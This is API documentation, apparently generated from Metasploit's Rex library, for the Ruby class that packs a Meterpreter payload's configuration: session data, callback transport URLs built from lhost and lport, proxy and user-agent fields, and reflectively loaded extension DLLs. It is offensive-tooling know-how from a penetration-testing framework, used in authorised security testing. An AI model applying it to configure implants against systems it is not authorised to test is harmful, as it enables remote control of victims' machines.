class Rex::Payloads::Meterpreter::Config

Constants

CERT_HASH_SIZE
PROXY_HOST_SIZE
PROXY_PASS_SIZE
PROXY_USER_SIZE
UA_SIZE
URL_SIZE

Public Class Methods

new(opts={}) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 17
def initialize(opts={})
  @opts = opts
  if opts[:ascii_str] == true
    @to_str = self.method(:to_ascii)
  else
    @to_str = self.method(:to_wchar_t)
  end
end

Public Instance Methods

to_b() click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 26
def to_b
  config_block
end

Private Instance Methods

config_block() click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 136
def config_block
  # start with the session information
  config = session_block(@opts)

  # then load up the transport configurations
  (@opts[:transports] || []).each do |t|
    config << transport_block(t)
  end

  # terminate the transports with NULL (wchar)
  config << "\x00\x00"

  # configure the extensions - this will have to change when posix comes
  # into play.
  file_extension = 'x86.dll'
  file_extension = 'x64.dll' unless is_x86?

  (@opts[:extensions] || []).each do |e|
    config << extension_block(e, file_extension)
  end

  # terminate the extensions with a 0 size
  config << [0].pack('V')

  # wire in the extension init data
  (@opts[:ext_init] || '').split(':').each do |cfg|
    name, value = cfg.split(',')
    config << extension_init_block(name, value)
  end

  # terminate the ext init config with a final null byte
  config << "\x00"

  # and we're done
  config
end
extension_block(ext_name, file_extension) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 114
def extension_block(ext_name, file_extension)
  ext_name = ext_name.strip.downcase
  ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
                                                            file_extension))

  extension_data = [ ext.length, ext ].pack('VA*')
end
extension_init_block(name, value) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 122
def extension_init_block(name, value)
  # for now, we're going to blindly assume that the value is a path to a file
  # which contains the data that gets passed to the extension
  content = ::File.read(value)
  data = [
    name,
    "\x00",
    content.length,
    content
  ]

  data.pack('A*A*VA*')
end
is_x86?() click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 32
def is_x86?
  @opts[:arch] == ARCH_X86
end
session_block(opts) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 48
def session_block(opts)
  uuid = opts[:uuid].to_raw
  exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]

  session_data = [
    0,                  # comms socket, patched in by the stager
    exit_func,          # exit function identifer
    opts[:expiration],  # Session expiry
    uuid                # the UUID
  ]

  session_data.pack('VVVA*')
end
to_ascii(item, size) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 44
def to_ascii(item, size)
  item.to_s.ljust(size, "\x00")
end
to_str(item, size) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 36
def to_str(item, size)
  @to_str.call(item, size)
end
to_wchar_t(item, size) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 40
def to_wchar_t(item, size)
  to_ascii(item, size).unpack('C*').pack('v*')
end
transport_block(opts) click to toggle source
# File lib/rex/payloads/meterpreter/config.rb, line 62
def transport_block(opts)
  # Build the URL from the given parameters, and pad it out to the
  # correct size
  lhost = opts[:lhost]
  if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
    lhost = "[#{lhost}]"
  end

  url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
  url << "#{opts[:uri]}/" if opts[:uri]
  url << "?#{opts[:scope_id]}" if opts[:scope_id]

  # if the transport URI is for a HTTP payload we need to add a stack
  # of other stuff
  pack = 'A*VVV'
  transport_data = [
    to_str(url, URL_SIZE),     # transport URL
    opts[:comm_timeout],       # communications timeout
    opts[:retry_total],        # retry total time
    opts[:retry_wait]          # retry wait time
  ]

  if url.start_with?('http')
    proxy_host = ''
    if opts[:proxy_host] && opts[:proxy_port]
      prefix = 'http://'
      prefix = 'socks=' if opts[:proxy_type].downcase == 'socks'
      proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
    end
    proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
    proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
    proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
    ua = to_str(opts[:ua] || '', UA_SIZE)

    cert_hash = "\x00" * CERT_HASH_SIZE
    cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]

    # add the HTTP specific stuff
    transport_data << proxy_host  # Proxy host name
    transport_data << proxy_user  # Proxy user name
    transport_data << proxy_pass  # Proxy password
    transport_data << ua          # HTTP user agent
    transport_data << cert_hash   # SSL cert hash for verification

    # update the packing spec
    pack << 'A*A*A*A*A*'
  end

  # return the packed transport information
  transport_data.pack(pack)
end